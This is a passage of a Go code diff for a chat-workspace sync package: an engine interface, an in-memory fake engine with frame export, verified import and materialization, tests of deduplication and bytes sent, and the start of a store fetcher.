+// branches it without ever publishing gets a branch whose head is fetchable, +// because the Brancher uploads first. No caller can forget. +func TestBranchUploadsItsOwnHead(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "0"}) + kept := r.seal(map[string]string{"a": "hand edit"}) + sent := r.puts() + + id, err := Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID}.Branch(context.Background(), r.drv, kept, 1, r.info()) + if err != nil { + t.Fatal(err) + } + if r.puts() == sent { + t.Fatal("the branch uploaded nothing") + } + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, r.head(id).Head); err != nil { + t.Fatalf("the branch head is not in the store: %v", err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "hand edit"}) { + t.Fatalf("branch files %v", got) + } +} diff --git a/internal/cellsync/dedup_real_test.go b/internal/cellsync/dedup_real_test.go new file mode 100644 index 0000000000..d99c750dde --- /dev/null +++ b/internal/cellsync/dedup_real_test.go @@ -0,0 +1,269 @@ +//go:build engine + +package cellsync + +import ( + "context" + "crypto/rand" + "fmt" + "io/fs" + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// The own-fleet dedup rig: one identity (one pair of secrets) publishing from +// several chats and machines into one relay store, on the real engine. Every +// test measures what crossed the wire, because "the store dedups it" is only +// worth something if the client also never sends it. + +// machine is one computer of the identity: its own engine data root, so its own +// ledger of what it sent, and nothing else in common with the others. +type machine struct { + t *testing.T + bin string + data string + keys cellstore.SyncKeys + url string +} + +// wire is what one publish put on the wire. +type wire struct{ Puts, Has, Bytes, Objects int64 } + +func (w wire) String() string { + return fmt.Sprintf("%d bytes in %d frame puts (%d objects), %d has requests", w.Bytes, w.Puts, w.Objects, w.Has) +} + +func newIdentityKeys(t *testing.T) cellstore.SyncKeys { + t.Helper() + k := cellstore.SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)} + _, _ = rand.Read(k.CellKey) + _, _ = rand.Read(k.Dedup) + return k +} + +func newMachine(t *testing.T, keys cellstore.SyncKeys) *machine { + t.Helper() + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + return &machine{t: t, bin: bin, data: t.TempDir(), keys: keys, url: "http://relay"} +} + +func (m *machine) local() cellstore.Engine { + return cellstore.Engine{Binary: m.bin, DataRoot: m.data, Transport: cellstore.Spawn{Binary: m.bin}} +} + +func (m *machine) sync() cellstore.SyncEngine { + local := m.local() + return cellstore.SyncEngine{ + Transport: cellstore.Spawn{Binary: m.bin}, + Keys: m.keys, + Ledger: cellstore.LedgerName(m.url, "id_test"), + Target: func(c cell.Cell) cellstore.Target { + return cellstore.Target{DataDir: local.LocalDir(c), Tree: c.Root} + }, + Outbox: func(cell.Cell) string { return m.t.TempDir() }, + } +} + +// chat makes a new chat whose folder holds files, and seals it. +func (m *machine) chat(files map[string][]byte) (cell.Cell, string) { + m.t.Helper() + c, err := cell.CreateIn(m.t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + m.t.Fatal(err) + } + m.write(c, files) + return c, m.seal(c) +} + +func (m *machine) write(c cell.Cell, files map[string][]byte) { + m.t.Helper() + for name, body := range files { + path := filepath.Join(c.Root, name) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + m.t.Fatal(err) + } + if err := os.WriteFile(path, body, 0o600); err != nil { + m.t.Fatal(err) + } + } + restampAll(m.t, c, preserved) +} + +// restampAll gives every file and directory of the chat one modification time, +// as cp -a keeps them: a tree records the time of each entry it holds. +func restampAll(t *testing.T, c cell.Cell, at time.Time) { + t.Helper() + err := filepath.WalkDir(c.Root, func(path string, _ fs.DirEntry, err error) error { + if err != nil { + return err + } + return os.Chtimes(path, at, at) + }) + if err != nil { + t.Fatal(err) + } +} + +func (m *machine) seal(c cell.Cell) string { + m.t.Helper() + sealed, err := m.local().Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + m.t.Fatal(err) + } + return sealed.Turn.ID +} + +// publish uploads head to store and reports what crossed the wire. +func (m *machine) publish(store blobstore.Store, c cell.Cell, head string) wire { + m.t.Helper() + n := &blobstore.Counters{} + pub := &Publisher{Engine: m.sync(), Store: blobstore.Counting{Inner: store, C: n}} + if _, err := pub.Upload(context.Background(), c, head); err != nil { + m.t.Fatal(err) + } + return wire{n.Puts.Load(), n.Has.Load(), n.BytesUp.Load(), n.ObjectsUp.Load()} +} + +// tree is a stand-in for a node_modules copy: many files of a few tens of KiB. +func tree(files, size int) map[string][]byte { + out := make(map[string][]byte, files) + for i := 0; i < files; i++ { + body := make([]byte, size) + _, _ = rand.Read(body) + out[fmt.Sprintf("node_modules/pkg%03d/index.js", i)] = body + } + return out +} + +func (w wire) total() int64 { return w.Bytes } + +// maxHasRequests is the most Has requests one flush of n objects may make. +func maxHasRequests(n int64) int64 { return (n + blobstore.MaxHas - 1) / blobstore.MaxHas } + +// preserved is the modification time every file of a copy made the way cp -a +// makes it carries. A tree records each entry's time, so a copy that does not +// keep times is different content to the engine and is measured on its own. +var preserved = time.Unix(1_700_000_000, 0) + +const ( + treeFiles = 1600 + treeBytes = 32 << 10 // 1600 x 32 KiB = 50 MiB +) + +// TestOwnFleetSecondChatSendsNothingRealEngine is the same tree in a new chat of +// the same identity on the same machine. +func TestOwnFleetSecondChatSendsNothingRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + store := blobstore.NewMemory() + files := tree(treeFiles, treeBytes) + a, headA := m.chat(files) + first := m.publish(store, a, headA) + b, headB := m.chat(files) + second := m.publish(store, b, headB) + t.Logf("scenario 1 same machine, new chat: first %s; second %s", first, second) + assertOverheadOnly(t, first, second) +} + +// TestOwnFleetCopyWithNewTimesSendsOnlyTreesRealEngine is the same tree copied +// the way cp -r makes it, every file stamped with a new time. Each directory +// records its entries' times, so the trees are new content and are sent; the +// file data, which is where the megabytes are, must not be. +func TestOwnFleetCopyWithNewTimesSendsOnlyTreesRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + store := blobstore.NewMemory() + files := tree(treeFiles, treeBytes) + a, headA := m.chat(files) + first := m.publish(store, a, headA) + b, _ := m.chat(files) + restampAll(t, b, time.Now()) + second := m.publish(store, b, m.seal(b)) + t.Logf("scenario 1b copy with new file times: first %s; second %s", first, second) + if limit := first.Bytes / 20; second.Bytes > limit { + t.Errorf("a copy with new times sent %d bytes, file data must not cross again (limit %d)", second.Bytes, limit) + } +} + +// TestOwnFleetSecondMachineSendsNothingRealEngine is the same tree in a chat on +// a second computer of the identity: its ledger is empty, so only the store can +// say what is already held. +func TestOwnFleetSecondMachineSendsNothingRealEngine(t *testing.T) { + keys := newIdentityKeys(t) + one, two := newMachine(t, keys), newMachine(t, keys) + store := blobstore.NewMemory() + files := tree(treeFiles, treeBytes) + a, headA := one.chat(files) + first := one.publish(store, a, headA) + b, headB := two.chat(files) + second := two.publish(store, b, headB) + t.Logf("scenario 2 second machine, same identity: first %s; second %s", first, second) + assertOverheadOnly(t, first, second) +} + +// TestOwnFleetRenameSendsNothingRealEngine moves a directory inside one +// workspace and seals again: the content is unchanged, only trees are new. +func TestOwnFleetRenameSendsNothingRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + store := blobstore.NewMemory() + a, head := m.chat(tree(treeFiles, treeBytes)) + first := m.publish(store, a, head) + if err := os.Rename(filepath.Join(a.Root, "node_modules"), filepath.Join(a.Root, "vendor")); err != nil { + t.Fatal(err) + } + second := m.publish(store, a, m.seal(a)) + t.Logf("scenario 3 rename inside one workspace: first %s; second %s", first, second) + assertOverheadOnly(t, first, second) +} + +// TestOwnFleetIdenticalFilesInOneSealRealEngine seals two copies of one file +// and sees the bytes cross once. +func TestOwnFleetIdenticalFilesInOneSealRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + body := tree(1, 4<<20)["node_modules/pkg000/index.js"] + one, headOne := m.chat(map[string][]byte{"a/file": body}) + single := m.publish(blobstore.NewMemory(), one, headOne) + two, headTwo := m.chat(map[string][]byte{"a/file": body, "b/file": body}) + double := m.publish(blobstore.NewMemory(), two, headTwo) + t.Logf("scenario 4 identical files in one seal: one copy %s; two copies %s", single, double) + if double.Bytes > single.Bytes+askFloor { + t.Fatalf("two identical files sent %d bytes, one sent %d", double.Bytes, single.Bytes) + } +} + +// TestOwnFleetRotationSharesNothingRealEngine pins the design: a rotated +// identity has new secrets and an empty namespace, so every byte is sent again +// and no rid of the old identity can be found in the new one. +func TestOwnFleetRotationSharesNothingRealEngine(t *testing.T) { + files := tree(200, treeBytes) + old, fresh := newMachine(t, newIdentityKeys(t)), newMachine(t, newIdentityKeys(t)) + oldStore, newStore := blobstore.NewMemory(), blobstore.NewMemory() + a, headA := old.chat(files) + first := old.publish(oldStore, a, headA) + b, headB := fresh.chat(files) + second := fresh.publish(newStore, b, headB) + t.Logf("scenario 5 after rotation: old identity %s; new identity %s", first, second) + if second.Bytes < first.Bytes/2 { + t.Fatalf("a rotated identity sent only %d bytes of %d: the keys must not converge", second.Bytes, first.Bytes) + } +} + +// assertOverheadOnly is the acceptance: the second copy sends frame overhead and +// the changed trees at most, and asks the store in batches, never per object. +func assertOverheadOnly(t *testing.T, first, second wire) { + t.Helper() + if limit := first.Bytes / 100; second.Bytes > limit { + t.Errorf("second copy sent %d bytes, more than 1%% of the first (%d)", second.Bytes, first.Bytes) + } + if limit := maxHasRequests(first.Objects); second.Has > limit { + t.Errorf("second copy made %d has requests, limit %d", second.Has, limit) + } +} diff --git a/internal/cellsync/doc.go b/internal/cellsync/doc.go new file mode 100644 index 0000000000..9f0dc971a0 --- /dev/null +++ b/internal/cellsync/doc.go @@ -0,0 +1,4 @@ +// Package cellsync moves a cell between a device and the shared store and +// directory: it exports the engine's new objects, uploads them, and only then +// moves the directory head. Nothing here waits on the network from a seal. +package cellsync diff --git a/internal/cellsync/engine.go b/internal/cellsync/engine.go new file mode 100644 index 0000000000..c4289a14f5 --- /dev/null +++ b/internal/cellsync/engine.go @@ -0,0 +1,51 @@ +package cellsync + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// Engine is the device-local half of sync: the furrow verbs of the Stage 1 +// engine contract. The real implementation is cellstore.SyncEngine; FakeEngine +// stands in for it in tests. +type Engine interface { + // Export packs every object reachable from head that the store's ledger + // lacks into frame files. + Export(ctx context.Context, c cell.Cell, head string) (Export, error) + // Published records frames as uploaded and deletes their files. + Published(ctx context.Context, c cell.Cell, frames []string) error + // Want names the remote ids needed next to complete head locally; empty + // means complete. + Want(ctx context.Context, c cell.Cell, head string) ([]string, error) + // Import stores each object file in inbox, named by its remote id. + Import(ctx context.Context, c cell.Cell, head, inbox string) (int, error) + // ImportPrimed is Import with one rule changed (contract §22.7): an inbox + // file no pass wanted is deleted, not an error. It exists for a take that + // primed its inbox with whole frames: a frame packs one publish's objects, + // and later turns may have orphaned some of them, so priming can deliver + // objects the head does not want. The want loop's answers keep the strict + // rule: what the relay names for a want is checked. + ImportPrimed(ctx context.Context, c cell.Cell, head, inbox string) (int, error) + // ImportPartial is ImportPrimed that deletes nothing and refuses nothing + // (contract §22.12): it stores what the inbox holds of what the head can + // reach so far, and leaves every other file, which may be waiting for a + // frame that has not landed. A take calls it while frames still download. + ImportPartial(ctx context.Context, c cell.Cell, head, inbox string) (int, error) + // Holds reports whether this device already holds objects of c that the + // relay holds too: its ledger for this relay is not empty. A device that + // does has most of the chat's history and wants only a delta (contract + // §22.5), so priming it with the chat's whole frame plan would download + // what it has. + Holds(c cell.Cell) bool + // Materialize restores head into the cell's folder. + Materialize(ctx context.Context, c cell.Cell, head string) error +} + +// Export and FrameFile are cellstore's own types under the seam's names: one +// definition, so cellstore.SyncEngine satisfies Engine with no adapter. +type ( + Export = cellstore.Export + FrameFile = cellstore.FrameFile +) diff --git a/internal/cellsync/fake.go b/internal/cellsync/fake.go new file mode 100644 index 0000000000..004139cc1c --- /dev/null +++ b/internal/cellsync/fake.go @@ -0,0 +1,531 @@ +package cellsync + +import ( + "bytes" + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io/fs" + "maps" + "os" + "path/filepath" + "sort" + "sync" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// fakeKeyID is the cell_key_id the fake writes into every frame header. +const fakeKeyID = "0123456789abcdef0123456789abcdef" + +// maxWant is how many remote ids one Want answers, as the engine does. +const maxWant = 1000 + +var objectMagic = []byte("AGEO\x01") + +// The fake's two object kinds. Each kind knows how to name its children, so +// walking the graph needs no switch on kind. +const ( + kindBlob byte = 'b' + kindSnap byte = 's' +) + +var childrenOf = map[byte]func(payload []byte) ([]string, error){ + kindBlob: func([]byte) ([]string, error) { return nil, nil }, + kindSnap: snapshotChildren, +} + +// snapshot is the fake's tree and snapshot in one: the files of a turn and the +// snapshot of the turn before it. +type snapshot struct { + Parent string `json:"parent,omitempty"` + Files map[string]string `json:"files"` // path -> blob rid +} + +func snapshotChildren(payload []byte) ([]string, error) { + s, err := decodeSnapshot(payload) + if err != nil { + return nil, err + } + kids := make([]string, 0, len(s.Files)+1) + if s.Parent != "" { + kids = append(kids, s.Parent) + } + rids := make([]string, 0, len(s.Files)) + for _, rid := range s.Files { + rids = append(rids, rid) + } + sort.Strings(rids) + return append(kids, rids...), nil +} + +func decodeSnapshot(payload []byte) (s snapshot, err error) { + err = json.Unmarshal(payload, &s) + return s, err +} + +// pack builds an object: the engine magic, its kind, then the payload. Its rid +// is the hash of those bytes, so the same content always has the same rid. +func pack(kind byte, payload []byte) (rid string, raw []byte) { + raw = append(append(bytes.Clone(objectMagic), kind), payload...) + return ridOf(raw), raw +} + +func ridOf(raw []byte) string { + sum := sha256.Sum256(raw) + return hex.EncodeToString(sum[:]) +} + +// unpack is pack's inverse and refuses bytes the fake did not write. +func unpack(raw []byte) (kind byte, payload []byte, err error) { + if len(raw) <= len(objectMagic) || !bytes.HasPrefix(raw, objectMagic) { + return 0, nil, errors.New("fake engine: not an engine object") + } + return raw[len(objectMagic)], raw[len(objectMagic)+1:], nil +} + +// kids answers the rids an object points to. +func kids(raw []byte) ([]string, error) { + kind, payload, err := unpack(raw) + if err != nil { + return nil, err + } + fn, ok := childrenOf[kind] + if !ok { + return nil, fmt.Errorf("fake engine: unknown object kind %q", kind) + } + return fn(payload) +} + +// fakeCell is one cell's object graph and its published set on one device. +type fakeCell struct { + objects map[string][]byte + published map[string]bool + last string // head of the newest Seal, the parent of the next one +} + +// FakeEngine is a small real Engine: an in-memory object graph per cell that +// writes real frames and answers Want, Import and Materialize by walking it. +// Two FakeEngines are two devices; frames and inbox files are the only thing +// that passes between them. +type FakeEngine struct { + // Dir holds the outbox frame files. + Dir string + // MaxObjects closes a frame after this many objects; 0 puts them all in one. + MaxObjects int + + mu sync.Mutex + cells map[string]*fakeCell +} + +// NewFakeEngine returns an engine that keeps its frame files under dir. +func NewFakeEngine(dir string) *FakeEngine { + return &FakeEngine{Dir: dir, cells: map[string]*fakeCell{}} +} + +// Ledger returns an engine over the same local objects that has published +// nothing: what a device's store looks like to a second identity, whose ledger +// starts empty. Frames go under dir. +func (f *FakeEngine) Ledger(dir string) *FakeEngine { + f.mu.Lock() + defer f.mu.Unlock() + other := NewFakeEngine(dir) + other.MaxObjects = f.MaxObjects + for id, fc := range f.cells { + other.cells[id] = &fakeCell{objects: maps.Clone(fc.objects), published: map[string]bool{}, last: fc.last} + } + return other +} + +func (f *FakeEngine) cell(c cell.Cell) *fakeCell { + fc, ok := f.cells[c.ID] + if !ok { + fc = &fakeCell{objects: map[string][]byte{}, published: map[string]bool{}} + f.cells[c.ID] = fc + } + return fc +} + +// Seal records a turn holding files (path -> content) on top of the previous +// one and returns its head. +func (f *FakeEngine) Seal(c cell.Cell, files map[string]string) string { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + snap := snapshot{Parent: fc.last, Files: map[string]string{}} + for path, content := range files { + rid, raw := pack(kindBlob, []byte(content)) + fc.objects[rid] = raw + snap.Files[path] = rid + } + payload, _ := json.Marshal(snap) // a struct of strings cannot fail to encode + head, raw := pack(kindSnap, payload) + fc.objects[head] = raw + fc.last = head + return head +} + +// Export implements Engine. +func (f *FakeEngine) Export(_ context.Context, c cell.Cell, head string) (Export, error) { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + order, err := fc.unsent(head) + if err != nil { + return Export{}, err + } + ex := Export{HeadRID: head} + for _, part := range f.split(order) { + ff, err := f.writeFrame(c, fc, part) + if err != nil { + return Export{}, err + } + ex.Frames = append(ex.Frames, ff) + ex.Objects += ff.Objects + ex.Bytes += ff.Bytes + } + return ex, nil +} + +// unsent lists the objects reachable from head that were not published, +// children before the objects that name them. +func (fc *fakeCell) unsent(head string) ([]string, error) { + var order []string + seen := map[string]bool{} + var visit func(rid string) error + visit = func(rid string) error { + if seen[rid] || fc.published[rid] { + return nil + } + seen[rid] = true + raw, ok := fc.objects[rid] + if !ok { + return fmt.Errorf("fake engine: object %s is not held here", rid) + } + children, err := kids(raw) + if err != nil { + return err + } + for _, k := range children { + if err := visit(k); err != nil { + return err + } + } + order = append(order, rid) + return nil + } + return order, visit(head) +} + +// split cuts order into frames of at most MaxObjects objects. +func (f *FakeEngine) split(order []string) [][]string { + if len(order) == 0 { + return nil + } + if f.MaxObjects <= 0 { + return [][]string{order} + } + var parts [][]string + for len(order) > f.MaxObjects { + parts = append(parts, order[:f.MaxObjects]) + order = order[f.MaxObjects:] + } + return append(parts, order) +} + +// writeFrame encodes rids as one frame file named by the frame's own id, so +// exporting twice writes the same file. +func (f *FakeEngine) writeFrame(c cell.Cell, fc *fakeCell, rids []string) (FrameFile, error) { + objects := make([]blobstore.Object, len(rids)) + for i, rid := range rids { + objects[i] = blobstore.Object{RID: rid, Bytes: fc.objects[rid]} + } + frame, err := blobstore.Encode(fakeKeyID, objects) + if err != nil { + return FrameFile{}, err + } + dir := filepath.Join(f.Dir, "outbox", c.ID) + if err := os.MkdirAll(dir, 0o700); err != nil { + return FrameFile{}, err + } + path := filepath.Join(dir, blobstore.IDOf(frame)+".frame") + if err := os.WriteFile(path, frame, 0o600); err != nil { + return FrameFile{}, err + } + return FrameFile{Path: path, Objects: len(rids), Bytes: int64(len(frame))}, nil +} + +// Published implements Engine. +func (f *FakeEngine) Published(_ context.Context, c cell.Cell, frames []string) error { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + for _, path := range frames { + frame, err := os.ReadFile(path) + if err != nil { + return err + } + _, objects, err := blobstore.Decode(frame) + if err != nil { + return err + } + for _, o := range objects { + fc.published[o.RID] = true + } + if err := os.Remove(path); err != nil { + return err + } + } + return nil +} + +// Holds implements Engine: the fake's ledger is its published set. +func (f *FakeEngine) Holds(c cell.Cell) bool { + f.mu.Lock() + defer f.mu.Unlock() + return len(f.cell(c).published) > 0 +} + +// Want implements Engine: breadth first from head, an absent object is wanted +// and its children are not yet known. +func (f *FakeEngine) Want(_ context.Context, c cell.Cell, head string) ([]string, error) { + f.mu.Lock() + defer f.mu.Unlock() + return f.cell(c).want(head) +} + +func (fc *fakeCell) want(head string) ([]string, error) { + var want []string + seen := map[string]bool{head: true} + for queue := []string{head}; len(queue) > 0 && len(want) < maxWant; queue = queue[1:] { + rid := queue[0] + raw, ok := fc.objects[rid] + if !ok { + want = append(want, rid) + continue + } + children, err := kids(raw) + if err != nil { + return nil, err + } + for _, k := range children { + if !seen[k] { + seen[k] = true + queue = append(queue, k) + } + } + } + return want, nil +} + +// Import implements Engine. It checks every file before it stores any, so a +// bad file leaves the graph as it was. +func (f *FakeEngine) Import(_ context.Context, c cell.Cell, head, inbox string) (int, error) { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + wanted, err := fc.want(head) + if err != nil { + return 0, err + } + files, err := readInbox(inbox, wanted) + if err != nil { + return 0, err + } + return f.store(fc, inbox, files) +} + +// ImportPrimed implements Engine. A primed inbox holds whole frames, many +// layers of the graph at once, so the import runs passes like the real one: +// each pass wants the frontier the store can now see and stores what the inbox +// holds of it. What no pass wanted — frame-mates the head orphaned — is +// deleted, never an error. +func (f *FakeEngine) ImportPrimed(_ context.Context, c cell.Cell, head, inbox string) (int, error) { + f.mu.Lock() + defer f.mu.Unlock() + total, err := f.passes(f.cell(c), head, inbox) + if err != nil { + return total, err + } + entries, err := os.ReadDir(inbox) + if err != nil { + return total, err + } + for _, e := range entries { + if err := os.Remove(filepath.Join(inbox, e.Name())); err != nil { + return total, err + } + } + return total, nil +} + +// ImportPartial implements Engine: the passes of ImportPrimed and nothing +// else. Files no pass wanted stay, because the frames that name their parents +// may not have landed yet. +func (f *FakeEngine) ImportPartial(_ context.Context, c cell.Cell, head, inbox string) (int, error) { + f.mu.Lock() + defer f.mu.Unlock() + return f.passes(f.cell(c), head, inbox) +} + +// passes stores, pass by pass, every inbox file the graph can now see, and +// answers how many it stored. +func (f *FakeEngine) passes(fc *fakeCell, head, inbox string) (int, error) { + total := 0 + for { + wanted, err := fc.want(head) + if err != nil { + return 0, err + } + if len(wanted) == 0 { + return total, nil + } + isWanted := map[string]bool{} + for _, rid := range wanted { + isWanted[rid] = true + } + took := map[string][]byte{} + entries, err := os.ReadDir(inbox) + if err != nil { + return 0, err + } + for _, e := range entries { + if !isWanted[e.Name()] { + continue + } + raw, err := readVerified(inbox, e.Name(), isWanted) + if err != nil { + return total, err + } + took[e.Name()] = raw + } + if len(took) == 0 { + return total, nil // a wanted rid the inbox lacks is the want loop's next fetch + } + n, err := f.store(fc, inbox, took) + if err != nil { + return total, err + } + total += n + } +} + +// store moves verified files into the cell's graph: what the store handed +// over is in the store, so it is never sent back. +func (f *FakeEngine) store(fc *fakeCell, inbox string, files map[string][]byte) (int, error) { + for rid, raw := range files { + fc.objects[rid] = raw + fc.published[rid] = true + if err := os.Remove(filepath.Join(inbox, rid)); err != nil { + return 0, err + } + } + return len(files), nil +} + +// readInbox loads every file in inbox, each of which must be wanted and must +// hash to its own name. +func readInbox(inbox string, wanted []string) (map[string][]byte, error) { + entries, err := os.ReadDir(inbox) + if err != nil { + return nil, err + } + isWanted := map[string]bool{} + for _, rid := range wanted { + isWanted[rid] = true + } + files := map[string][]byte{} + for _, e := range entries { + raw, err := readVerified(inbox, e.Name(), isWanted) + if err != nil { + return nil, err + } + files[e.Name()] = raw + } + return files, nil +} + +// readVerified loads one inbox file, which must be wanted and must hash to +// its own name. +func readVerified(inbox, rid string, wanted map[string]bool) ([]byte, error) { + if !wanted[rid] { + return nil, fmt.Errorf("fake engine: object %s was not wanted", rid) + } + raw, err := os.ReadFile(filepath.Join(inbox, rid)) + if err != nil { + return nil, err + } + if _, _, err := unpack(raw); err != nil || ridOf(raw) != rid { + return nil, fmt.Errorf("fake engine: object %s failed verification", rid) + } + return raw, nil +} + +// Materialize implements Engine: it writes the files of head's snapshot under +// the cell's folder. +func (f *FakeEngine) Materialize(_ context.Context, c cell.Cell, head string) error { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + if missing, err := fc.want(head); err != nil || len(missing) > 0 { + return fmt.Errorf("fake engine: head %s is incomplete (missing %v, err %v)", head, missing, err) + } + _, payload, err := unpack(fc.objects[head]) + if err != nil { + return err + } + snap, err := decodeSnapshot(payload) + if err != nil { + return err + } + return fc.writeFiles(c.Root, snap) +} + +// writeFiles restores snap over root the way the real engine does: a file +// that already holds the right bytes is left alone, a file that differs is +// replaced by a new file renamed over it (never written in place, because the +// old one may be a hard link that another tree still reads), and a file the +// snapshot does not hold is removed. +func (fc *fakeCell) writeFiles(root string, snap snapshot) error { + for path, rid := range snap.Files { + _, content, err := unpack(fc.objects[rid]) + if err != nil { + return err + } + if err := replaceFile(filepath.Join(root, path), content); err != nil { + return err + } + } + return removeAbsent(root, snap) +} + +func replaceFile(target string, content []byte) error { + if have, err := os.ReadFile(target); err == nil && bytes.Equal(have, content) { + return nil + } + if err := os.MkdirAll(filepath.Dir(target), 0o700); err != nil { + return err + } + next := target + ".fake-new" + if err := os.WriteFile(next, content, 0o600); err != nil { + return err + } + return os.Rename(next, target) +} + +func removeAbsent(root string, snap snapshot) error { + return filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + rel, _ := filepath.Rel(root, path) + if _, kept := snap.Files[filepath.ToSlash(rel)]; kept { + return nil + } + return os.Remove(path) + }) +} diff --git a/internal/cellsync/fake_test.go b/internal/cellsync/fake_test.go new file mode 100644 index 0000000000..9e579a6eb2 --- /dev/null +++ b/internal/cellsync/fake_test.go @@ -0,0 +1,98 @@ +package cellsync + +import ( + "context" + "os" + "path/filepath" + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +func TestFakeEngineRoundTrip(t *testing.T) { + ctx := context.Background() + store := blobstore.NewMemory() + a := NewFakeEngine(t.TempDir()) + src := cell.Cell{ID: cellID, Root: t.TempDir()} + a.Seal(src, map[string]string{"a.txt": "one"}) + head := a.Seal(src, map[string]string{"a.txt": "one", "dir/b.txt": "two"}) + + ex, err := a.Export(ctx, src, head) + if err != nil || ex.HeadRID != head || ex.Objects == 0 || len(ex.Frames) != 1 { + t.Fatalf("export = %+v, %v", ex, err) + } + var paths []string + for _, f := range ex.Frames { + frame, err := os.ReadFile(f.Path) + if err != nil { + t.Fatal(err) + } + if _, err := store.PutFrame(ctx, frame); err != nil { + t.Fatalf("store refused the fake's frame: %v", err) + } + paths = append(paths, f.Path) + } + if err := a.Published(ctx, src, paths); err != nil { + t.Fatal(err) + } + if again, _ := a.Export(ctx, src, head); len(again.Frames) != 0 { + t.Fatalf("a published head exported again: %+v", again) + } + + b := NewFakeEngine(t.TempDir()) + dst := cell.Cell{ID: cellID, Root: t.TempDir()} + inbox := t.TempDir() + for { + want, err := b.Want(ctx, dst, head) + if err != nil { + t.Fatal(err) + } + if len(want) == 0 { + break + } + for _, rid := range want { + raw, err := store.Get(ctx, rid) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(inbox, rid), raw, 0o600); err != nil { + t.Fatal(err) + } + } + if n, err := b.Import(ctx, dst, head, inbox); err != nil || n != len(want) { + t.Fatalf("import = %d, %v; want %d", n, err, len(want)) + } + } + if err := b.Materialize(ctx, dst, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a.txt": "one", "dir/b.txt": "two"} + if got := readFiles(t, dst.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +func TestFakeEngineImportRefusesUnwantedOrTamperedObjects(t *testing.T) { + ctx := context.Background() + a := NewFakeEngine(t.TempDir()) + c := cell.Cell{ID: cellID, Root: t.TempDir()} + head := a.Seal(c, map[string]string{"a": "x"}) + + b := NewFakeEngine(t.TempDir()) + inbox := t.TempDir() + rid, raw := pack(kindBlob, []byte("stranger")) + os.WriteFile(filepath.Join(inbox, rid), raw, 0o600) + if _, err := b.Import(ctx, c, head, inbox); err == nil { + t.Fatal("an unwanted object was imported") + } + os.Remove(filepath.Join(inbox, rid)) + os.WriteFile(filepath.Join(inbox, head), raw, 0o600) // right name, other bytes + if _, err := b.Import(ctx, c, head, inbox); err == nil { + t.Fatal("a tampered object was imported") + } + if want, _ := b.Want(ctx, c, head); len(want) != 1 { + t.Fatalf("a refused import changed the graph: want %v", want) + } +} diff --git a/internal/cellsync/fetch.go b/internal/cellsync/fetch.go new file mode 100644 index 0000000000..2582a6775c --- /dev/null +++ b/internal/cellsync/fetch.go @@ -0,0 +1,271 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "sync" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// FetchWindow is the most frame fetches a take has in flight at once +// (contract §22.6). +const FetchWindow = 8 + +// ImportEvery is how many frames land between two partial imports (contract +// §22.12): each import walks what is stored so far, so asking after every +// frame would pay the walk many times for little new work. +const ImportEvery = 4 + +// Fetcher brings a head and everything it needs from the store onto this device. +type Fetcher struct { + Engine Engine + Store blobstore.Store + // Dir reads the cell's record for the plan (contract §22.2). Nil means no + // priming: the fetch is exactly the want loop (rotation uses it that way). + Dir directory.Client + Inbox func(c cell.Cell) string + OnProgress func(have, want int) // optional; want grows as the graph is learned +} + +// Fetch completes head in the store and then materializes it. A rid the +// store does not hold is an error that names it. +func (f *Fetcher) Fetch(ctx context.Context, c cell.Cell, head string) error { + if err := f.Complete(ctx, c, head); err != nil { + return err + } + return f.Engine.Materialize(ctx, c, head) +} + +// Complete is Fetch without the restore: everything head needs is in the +// device's store afterwards and the folder the person works in is not touched. +// It is how a device holds a chat's objects without taking the chat over. +func (f *Fetcher) Complete(ctx context.Context, c cell.Cell, head string) error { + inbox := f.Inbox(c) + if err := os.MkdirAll(inbox, 0o700); err != nil { + return err + } + // Priming works in an inbox of its own beside the shared one: a device's + // daemon fetches a head it watches through the same inbox the take uses, + // and a primed import deletes what no pass wanted — in a shared inbox that + // is another fetcher's file, read one moment and gone the next. Each + // priming owns its own files and the strict loop never sees them. + if err := f.prime(ctx, c, head, inbox+".prime"); err != nil { + return err + } + have, known := 0, 0 + for { + want, err := f.Engine.Want(ctx, c, head) + if err != nil { + return err + } + if len(want) == 0 { + return nil + } + known += len(want) + n, err := f.round(ctx, c, head, inbox, want) + if err != nil { + return err + } + have += n 